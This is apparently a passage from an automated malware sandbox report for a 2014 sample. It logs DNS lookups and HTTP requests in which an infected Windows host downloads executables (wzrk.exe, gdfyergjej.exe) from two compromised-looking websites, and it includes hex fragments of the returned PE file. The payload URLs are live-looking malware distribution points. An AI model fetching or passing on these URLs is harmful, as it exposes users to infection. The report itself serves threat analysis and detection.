Aug 8, 2014 11:26:07.479650974 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479654074 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479655981 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479657888 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479660988 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479661942 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479779005 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479804993 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479813099 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479816914 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479830027 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479832888 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479835987 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.479875088 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479903936 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.479907990 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:07.480051041 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.480078936 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.480103970 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.484464884 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:07.487037897 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477035999 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477045059 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477049112 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477155924 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477201939 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477287054 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477293015 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477298021 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477303028 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477305889 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477426052 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477452040 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477458000 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477461100 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477502108 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477509022 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477544069 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477639914 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477669954 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477757931 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477763891 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477768898 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477773905 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477777004 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.477926016 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.477946043 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478023052 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.478095055 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.478277922 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478291988 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478305101 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478312016 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478513956 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.478532076 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478607893 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.478754044 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478766918 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478779078 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.478864908 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.478879929 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479079962 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.479152918 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.479317904 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479331017 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479341984 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479351044 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479554892 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.479561090 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479573011 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479631901 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.479644060 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479784966 MESZ801032213.186.33.87192.168.1.13
Aug 8, 2014 11:26:08.479840040 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.480115891 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.480267048 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.481939077 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.486717939 MESZ103280192.168.1.13213.186.33.87
Aug 8, 2014 11:26:08.486732006 MESZ801032213.186.33.87192.168.1.13

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Aug 8, 2014 11:26:00.374351025 MESZ6419453192.168.1.13195.186.1.121
Aug 8, 2014 11:26:00.858766079 MESZ5364194195.186.1.121192.168.1.13
Aug 8, 2014 11:26:01.829366922 MESZ5323053192.168.1.13195.186.1.121
Aug 8, 2014 11:26:02.723957062 MESZ5353230195.186.1.121192.168.1.13
Aug 8, 2014 11:26:03.799379110 MESZ6019753192.168.1.13195.186.1.121
Aug 8, 2014 11:26:04.255403996 MESZ5360197195.186.1.121192.168.1.13

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Aug 8, 2014 11:26:00.374351025 MESZ192.168.1.13195.186.1.1210xd5c0Standard query (0)pensionmagda.czA (IP address)IN (0x0001)
Aug 8, 2014 11:26:01.829366922 MESZ192.168.1.13195.186.1.1210x5c04Standard query (0)www.pensionmagda.czA (IP address)IN (0x0001)
Aug 8, 2014 11:26:03.799379110 MESZ192.168.1.13195.186.1.1210xe9a3Standard query (0)pianossimi.frA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Aug 8, 2014 11:26:00.858766079 MESZ195.186.1.121192.168.1.130xd5c0No error (0)pensionmagda.cz217.198.114.63A (IP address)IN (0x0001)
Aug 8, 2014 11:26:02.723957062 MESZ195.186.1.121192.168.1.130x5c04No error (0)www.pensionmagda.cz217.198.114.63A (IP address)IN (0x0001)
Aug 8, 2014 11:26:04.255403996 MESZ195.186.1.121192.168.1.130xe9a3No error (0)pianossimi.fr213.186.33.87A (IP address)IN (0x0001)

HTTP Request Dependency Graph

  • pensionmagda.cz
  • www.pensionmagda.cz
  • pianossimi.fr

HTTP Packets

TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
Aug 8, 2014 11:26:00.871073961 MESZ103080192.168.1.13217.198.114.63GET /wzrk.exe HTTP/1.0
Host: pensionmagda.cz
Accept-Language: en-US
Accept: */*
Accept-Encoding: identity, *;q=0
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
0
Aug 8, 2014 11:26:01.548276901 MESZ801030217.198.114.63192.168.1.13HTTP/1.1 301 Moved Permanently
Date: Fri, 08 Aug 2014 09:26:01 GMT
Server: Apache/2.2.16 (Debian)
Location: http://www.pensionmagda.cz/wzrk.exe
Vary: Accept-Encoding
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1
X-Pad: avoid browser bug
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 65 6e 73 69 6f 6e 6d 61 67 64 61 2e 63 7a 2f 77 7a 72 6b 2e 65 78 65 22 3e
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.pensionmagda.cz/wzrk.exe">
1
Aug 8, 2014 11:26:01.817989111 MESZ801030217.198.114.63192.168.1.13Data Raw: 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 65 6e 73 69 6f 6e 6d 61 67 64 61 2e 63 7a 20 50 6f 72 74 20
Data Ascii: here</a>.</p><hr><address>Apache/2.2.16 (Debian) Server at pensionmagda.cz Port 80</address></body></html>
1
Aug 8, 2014 11:26:02.725887060 MESZ103180192.168.1.13217.198.114.63GET /wzrk.exe HTTP/1.0
Host: www.pensionmagda.cz
Accept-Language: en-US
Accept: */*
Accept-Encoding: identity, *;q=0
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
2
Aug 8, 2014 11:26:03.618908882 MESZ801031217.198.114.63192.168.1.13HTTP/1.1 404 Not Found
Date: Fri, 08 Aug 2014 09:26:03 GMT
Server: Apache/2.2.16 (Debian)
Vary: accept-language,accept-charset,Accept-Encoding
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Expires: Fri, 08 Aug 2014 09:26:03 GMT
Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61
Data Ascii: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" la
2
Aug 8, 2014 11:26:03.795463085 MESZ801031217.198.114.63192.168.1.13Data Raw: 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72
Data Ascii: ng="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:webmaster@pensionmagda.cz" /><style type="text/css"> /*--><![CDATA[/*> */ body { color: #000000; background-color: #FFFFFF; } a:link {
3
Aug 8, 2014 11:26:04.257400990 MESZ103280192.168.1.13213.186.33.87GET /gdfyergjej.exe HTTP/1.0
Host: pianossimi.fr
Accept-Language: en-US
Accept: */*
Accept-Encoding: identity, *;q=0
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
4
Aug 8, 2014 11:26:04.882350922 MESZ801032213.186.33.87192.168.1.13HTTP/1.1 200 OK
Set-Cookie: startBAK=R3415743754; path=/; expires=Fri, 08-Aug-2014 10:30:14 GMT
Date: Fri, 08 Aug 2014 09:26:04 GMT
Content-Type: application/x-msdownload
Content-Length: 418304
Connection: close
Set-Cookie: start=R3918401403; path=/; expires=Fri, 08-Aug-2014 10:31:01 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 09:32:57 GMT
Accept-Ranges: bytes
5
Aug 8, 2014 11:26:04.924474955 MESZ801032213.186.33.87192.168.1.13Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$9kZ}4}4}4||4trn4}54}4e4|i4||4||4Rich}4PEL+
6
Aug 8, 2014 11:26:04.924576998 MESZ801032213.186.33.87192.168.1.13Data Raw: fd 00 00 00 00 45 00 00 00 00 ef 00 00 00 00 5e 00 00 00 00 2d 00 00 00 00 8b 00 00 00 00 16 00 00 00 00 c9 00 00 00 00 25 00 00 00 00 00 0c 00 00 00 00 a5 00 00 00 00 00 a0 00 00 00 00 00 8a 00 00 00 00 00 29 00 00 00 00 60 00 00 00 00 00 13 00
Data Ascii: E^-%)`Oz~kO4lE3Gm(l
7
Aug 8, 2014 11:26:05.005760908 MESZ801032213.186.33.87192.168.1.13Data Raw: 70 00 00 00 00 00 a1 00 00 00 00 69 00 00 00 00 00 27 00 00 00 00 fd 00 00 00 00 00 2d 00 00 00 00 c1 00 00 00 00 00 ad 00 00 00 00 b6 00 00 00 00 8a 00 00 00 00 d3 00 00 00 00 00 71 00 00 00 00 00 35 00 00 00 00 00 ea 00 00 00 00 b2 00 00 00 00
Data Ascii: pi'-q5dO"zz+l8OmO~qa
8
Aug 8, 2014 11:26:05.005790949 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 ea 00 00 00 00 00 1f 00 00 00 00 00 7e 00 00 00 00 8a 00 00 00 00 78 00 00 00 00 18 00 00 00 00 5c 00 00 00 00 00 60 00 00 00 00 17 00 00 00 00 e5 00 00 00 00 da 00 00 00 00 45 00 00 00 00 a0 00 00 00 00 fe 00 00 00 00 00 ed 00 00 00 00 8d 00
Data Ascii: ~x\`EcG`O^alkG";
10
Aug 8, 2014 11:26:05.006331921 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 00 78 00 00 00 00 00 f0 00 00 00 00 00 8a 00 00 00 00 0c 00 00 00 00 5c 00 00 00 00 00 59 00 00 00 00 00 4f 00 00 00 00 00 8f 00 00 00 00 00 ed 00 00 00 00 00 6b 00 00 00 00 06 00 00 00 00 25 00 00 00 00 ed 00 00 00 00 00 c2 00 00 00 00
Data Ascii: x\YOk%Lldx~{(Ll)i
10
Aug 8, 2014 11:26:05.021092892 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 89 00 00 00 00 4c 00 00 00 00 ee 00 00 00 00 00 eb 00 00 00 00 00 35 00 00 00 00 00 5c 00 00 00 00 00 bf 00 00 00 00 00 35 00 00 00 00 00 c3 00 00 00 00 28 00 00 00 00 bf 00 00 00 00 00 e8 00 00 00 00 00 d9 00 00 00 00 c2 00 00 00 00 00 06 00
Data Ascii: L5\5("Zz**{ qL`aY,{Z
12
Aug 8, 2014 11:26:05.021121025 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 00 9b 00 00 00 00 00 ac 00 00 00 00 00 98 00 00 00 00 00 cc 00
Data Ascii:
12
Aug 8, 2014 11:26:05.021661043 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 d9 00 00 00 00 78 00 00 00 00 00 97 00 00 00 00 00 5e 00 00 00 00 a7 00 00 00 00 f2 00 00 00 00 00 e7 00 00 00 00 00 2d 00 00 00 00 6c 00 00 00 00 00 6c 00 00 00 00 00 b4 00 00 00 00 9b 00 00 00 00 00 1e 00 00 00 00 00 7c 00 00 00 00 c4
Data Ascii: x^-ll|^q u"-,.|;q
13
Aug 8, 2014 11:26:05.022267103 MESZ801032213.186.33.87192.168.1.13Data Raw: 47 00 00 00 00 35 00 00 00 00 00 9c 00 00 00 00 5c 00 00 00 00 00 a1 00 00 00 00 00 93 00 00 00 00 d9 00 00 00 00 2b 00 00 00 00 0c 00 00 00 00 35 00 00 00 00 64 00 00 00 00 93 00 00 00 00 00 36 00 00 00 00 e5 00 00 00 00 c1 00 00 00 00 00 ed 00
Data Ascii: G5\+5d63\|MY3`5|W,
14
Aug 8, 2014 11:26:05.022639036 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 00 00 4c 00 00 00 00 00 1e 00 00 00 00 00 89 00 00 00 00 00 9b 00 00 00 00 34 00 00 00 00 00 59 00 00 00 00 04 00 00 00 00 06 00 00 00 00 00 29 00 00 00 00 38 00 00 00 00 9b 00 00 00 00 ac 00 00 00 00 00 c4 00 00 00 00 00 a4 00 00 00 00 00
Data Ascii: L4Y)8iMc,u405^uY'80pkx%8 Wl^- "Wc%i',;(" 6x'Ox5Z-Y;8kal5dY"
15
Aug 8, 2014 11:26:05.038685083 MESZ801032213.186.33.87192.168.1.13Data Raw: 63 c3 4c 36 11 d9 ed 75 dd 20 7b 97 1e c3 71 e5 2b 22 75 e7 9b cd 29 8b a7 17 7c 61 2a 13 71 64 18 38 0c a1 f2 c6 78 c9 0c de 88 84 64 5a bc 98 a4 98 a8 6c 7b 2b 7e 17 29 e8 61 45 ee da e5 78 a1 36 5c 6c 5a a0 a5 1f 59 57 29 0e 30 2b ed ed 4c c1
Data Ascii: cL6u {q+"u)|a*qd8xdZl{+~)aEx6\lZYW)0+Lk'|L+-qq,4~Gkx( u66(38d~Ma"k35mZM8WiiY.+~c`'ZOm,L``i(a8^
17
Aug 8, 2014 11:26:05.038712978 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 33 f2 cb c1 a0 6d b6 93 1a e5 34 59 97 5a 2e b4 89 38 cd 1e b6 7e c6 27 6b 9c 27 ea 17 7b 8b 89 3b 7b 64 cc 06 fd 6c 16 d9 81 e4 cc bf 63 e5 36 bc 20 cd 59 88 a5 ed d3 c3 a0 29 61 97 dd 4c ee 22 47 35 92 17 7a 1c 6d 7a 8a 89 2d 27 5c 59 eb e1
Data Ascii: 3m4YZ.8~'k'{;{dlc6 Y)aL"G5zmz-'\Ya'-~Z3u'kL^lu6id%O`"6O%(+G6c\zd8O4,z"ip^dO'u 6d0.E`. c.l-c)*a
18
Aug 8, 2014 11:26:05.039215088 MESZ801032213.186.33.87192.168.1.13Data Raw: c3 0e 17 e8 93 75 2d 69 e8 f2 ad fe d3 8a 34 ef 70 04 06 9b a7 9b 80 1f 35 36 47 17 fe 7f f2 30 06 30 28 3b 57 11 88 98 18 2d bc e5 c1 ff 6d 4f 2a 47 34 4d 04 28 20 17 92 a0 6d 25 f2 20 7a 81 c3 88 7c 59
Data Ascii: u-i4p56G00(;W-mO*G4M( m% z|Y
18
Aug 8, 2014 11:26:05.046547890 MESZ801032213.186.33.87192.168.1.13Data Raw: 69 a0 1a 61 ef c3 63 f2 11 22 1c cb 89 3b b6 da 18 6d 84 28 cb 2b 8f ac 2c 1f 7f 5a a7 22 e8 30 17 1f 64 ea 0e c6 88 1a de 04 7a 59 2c 27 97 4d 1c 61 20 d3 0e 47 8f a0 bc 5c 71 ff b4 2e 0c c9 20 8f 60 29 93 ef c9 5a c9 ee 1a 18 28 6d 1f ff b2 eb
Data Ascii: iac";m(+,Z"0dzY,'Ma G\q. `)Z(m+"+6~mL%3q"iZ0M.p3i. ~akd"3~mc,8-'%~MYGG.pl+6u5\Lc+L-)3{c8+
19
Aug 8, 2014 11:26:05.132947922 MESZ801032213.186.33.87192.168.1.13Data Raw: 4f cd 60 8d 4f 81 57 8b 47 33 ff 4d e5 e5 38 a7 f2 cd 80 4f 61 36 60 cd 29 0e da dd 7c a5 a4 36 92 c1 c2 33 63 ef 2a 06 8b fe 8d bf cc 8b 35 7a e7 59 6b fe cc 1c 98 ea 47 f0 c2 80 7e f0 eb 64 ac 18 a8 98 35 ee fe e5 fd 88 4d 13 2e 60 1e 2d 45 92
Data Ascii: O`OWG3M8Oa6`)|63c*5zYkG~d5M.`-Epz;8iO"+~~d\"Zxp^L%G-ELxM^u"ZZELcM*6-Mx)aMa^+%`,|6
20
Aug 8, 2014 11:26:05.133500099 MESZ801032213.186.33.87192.168.1.13Data Raw: 63 80 92 9b ed 45 70 fd 2a 2b eb 2a 6c ed 2b 8a dd 84 5a b2 e1 6d 8b bf 5a 8a ed 84 8d 06 70 29 61 25 34 97 dd 4f 2a 16 9c e8 75 c1 da 6b 8f 5e 1f c3 0e a7 7a fd c2 9b ac 2a ad e7 20 fe 9b 2b 0c bf 6c 4f a1 29 eb 59 92 d3 f0 0e 22 ac 6c 78 6c fd
Data Ascii: cEp*+*l+ZmZp)a%4O*uk^z* +lO)Y"lxl(m"u\"Ok8\(.O^l4mm|8{G'aqpm`i*^'"'OL8'"|*E+'Z`6d(Mz3p3^.4lY-mW
21
Aug 8, 2014 11:26:05.135094881 MESZ801032213.186.33.87192.168.1.13Data Raw: 2a ed fd 47 34 fd bf a8 2e 9c 25 a0 8d 11 9b a8 4d a4 dd fe 33 e4 a8 17 71 e4 71 8f c6 0e ef 2c ee 61 16 8f d3 04 a7 16 ea e5 c6 fe d9 59 60 25 9c 57 97 69 7b 11 fe 7a f0 ef e4 dd 2b a0 4d fd e1 81 36 84 0e c4 f0 18 6d 4c 2b 6b 7e 17 e1 dd 2b 28
Data Ascii: *G4.%M3qq,aY`%Wi{z+M6mL+k~+(.d"cm~,c|)\md\\~(zMl,zZ'.pm+5c|6laM`li.((m`",G5^k).GxuYE%EuE
22
Aug 8, 2014 11:26:05.135124922 MESZ801032213.186.33.87192.168.1.13Data Raw: 89 7a 7e ad 1c 1c eb e1 7e e4 c1 7e 17 b2 2b 89 c6 eb 22 11 9b 36 81 c2 84 7b 2d b2 13 92 80 70 4c 69 ad a5 da 29 36 c3 34 ac c3 59 25 4f 18 17 cb 29 93 25 c1 7b 20 5e 3b 2c 98 f0 5a 16 dd b6 06 9c e8 64 71 e4 dd 04 17 25 5e 8f 7a 7c 60 ef 2a 98
Data Ascii: z~~~+"6{-pLi)64Y%O)%{ ^;,Zdq%^z|`*, ,6YzxdO6q4u5)5M0".%i\p)L3 *,YWd.-| a i~z`alai^"*qE%^ `5(i
24
Aug 8, 2014 11:26:05.135649920 MESZ801032213.186.33.87192.168.1.13Data Raw: ea dc a7 e0 a3 6e 89 2c af db 5e c6 b1 1d 35 0d f0 b2 13 11 32 1c a4 4f ee ae 80 dc 55 1d 39 c7 20 c3 8f 44 1c 4a 88 b3 f9 06 49 da 94 1d f1 9d e6 df b2 e4 db ab 58 84 4a 67 d7 4e 55 0a af ab 8d ab 47 ab b3 6e 42 5e 13 ab e9 13 c6 fd 0b 00 ce 48
Data Ascii: n,^52OU9 DJIXJgNUGnB^H~q*miv1mdY#-Zha_Bc;E]zjwy!WuHzuQiB;gCrCd|.vh\O9&@|I@7
25
Aug 8, 2014 11:26:05.138889074 MESZ801032213.186.33.87192.168.1.13Data Raw: c9 3d 88 00 00 00 0f 9e c1 8b 15 8c 53 45 00 e8 6a fd ff ff 0f be 15 d4 53 45 00 89 15 30 4f 44 00 a0 30 4f 44 00 a2 57 53 45 00 c7 05 30 4f 44 00 01 00 00 00 8a 0d 93 38 45 00 88 0d ec 52 45 00 8a 15 ec 52 45 00 88 15 57 53 45 00 0f b6 05 57 53
Data Ascii: =SEjSE0OD0ODWSE0OD8EREREWSEWSEMD3;PMDSE%SE5B3=0ODfJSEsCJSE#30OD]~2!4Cf,0!
26
Aug 8, 2014 11:26:05.150762081 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 8c 0a 0a 11 0a 7d 75 27 10 e6 0a 07 0a 0a 0a 0a 18 27 03 ec 0a 0a 11 44 34 0a 0a 0a 0a 0a 0a 0a e5 0a 68 0c 46 07 0a f1 0a 2f 0a 25 0a 95 b3 7d 28 08 0a 60 09 0a 6a 0a 99 44 0a 5b 0a 0a 7b 0a c0 0a 0a 74 0a 91 07 06 0a 4e 0a 24 a1 0a ec 2f 24
Data Ascii: }u''D4hF/%}(`jD[{tN$/$XJ3z_NfX~\0fX_EHCTm@U{ie!@n"eZ_0S5\V#,Nc
27
Aug 8, 2014 11:26:05.150790930 MESZ801032213.186.33.87192.168.1.13Data Raw: 55 0a 0a fe 56 86 bb 0a 0a 0a c6 ae 6d f1 3d 53 36 14 0a 0a 0a 0a 2a 1b 2f 0a 4e c7 43 f7 0a 57 0a 0a 0a 0a 5f 0a 0a af dd 10 f4 0a 18 a0 a6 0a 0a 0a 0a dc ae 0a ea 0a ba 4c 0a 3c 2f 0a 0a a4 0a 0a 0a c1 c7 c9 03 09 a5 0a f6 0a 04 02 20 39 cc 0a
Data Ascii: UVm=S6*/NCW_L</ 9>Oa6dz+/"4UxZLd~;`M>'xPDPd(]<]pp/`!M3
29
Aug 8, 2014 11:26:05.151308060 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 0a 0a d3 0a 0a b3 4a c4 0a 0a 0a 66 bf f1 d3 e7 0a 0a 0a 42 7c 0a 9a 1e 0a 2c 0a 0a 3e 0a 94 0a 29 e8 0a 80 82 0a 0a 5c 0a a9 9c dc 70 50 ad 0a aa d3 44 0a ec 6f 0a 5c 0a b5 1f 1c 7c 0a d5 0a 0a 82 c5 0a 22 e7 44 b7 0a 75 0a 46 28 0a 42
Data Ascii: JfB|,>)\pPDo\|"DuF(B8x>>8@1g8S36Dda&"!JFdWH1C|?[|_l|BV:Ko^\||q
30
Aug 8, 2014 11:26:05.162837029 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 5d 0a d1 0a 33 5a 0a 32 0a f7 94 1d 0a 78 0a 0a 0a 0a 13 45 9c e2 0a f4 2c 0a 05 0a d3 23 85 0a 00 0a 0a 0a 0a 0a b7 0a 63 0a 8c 46 0a 71 0a f9 89 91 46 5a b6 11 9e 0a 7a 0a 8e 62 21 a7 0a 86 de 0a 0a 0a 00 05 b1 0a 0a 0a 0a f9 83 0a cd 0a
Data Ascii: ]3Z2xE,#cFqFZzb![wLZ1 i.<D&%*B@v6uSA).OPY|0HlH(Z<B#oGk)%@`#V
31
Aug 8, 2014 11:26:05.166513920 MESZ801032213.186.33.87192.168.1.13Data Raw: df 70 f1 ba 0a 2d 0a f8 e8 06 61 d0 0a 49 41 0a 50 0a 24 08 89 6d 0a 0a 8b 0a 24 0a d8 c1 e2 02 4a 0a 0a 0a 0a 72 0a 0a 0a 0a 0a ea 89 6b 00 0a 09 8e 23 72 0a 90 09 0a 70 0a 1f 0a 02 d9 d7 0a 0a 44 0a 0a 03 81 4e 7f 71 0a 23 23 19 0a ae 00 0a 90
Data Ascii: p-aIAP$m$Jrk#rpDNq##M_QNn>l|(;mdlX6B;JuI(^,nQ>Q,Z44ly$H]kd;M$irh1
32
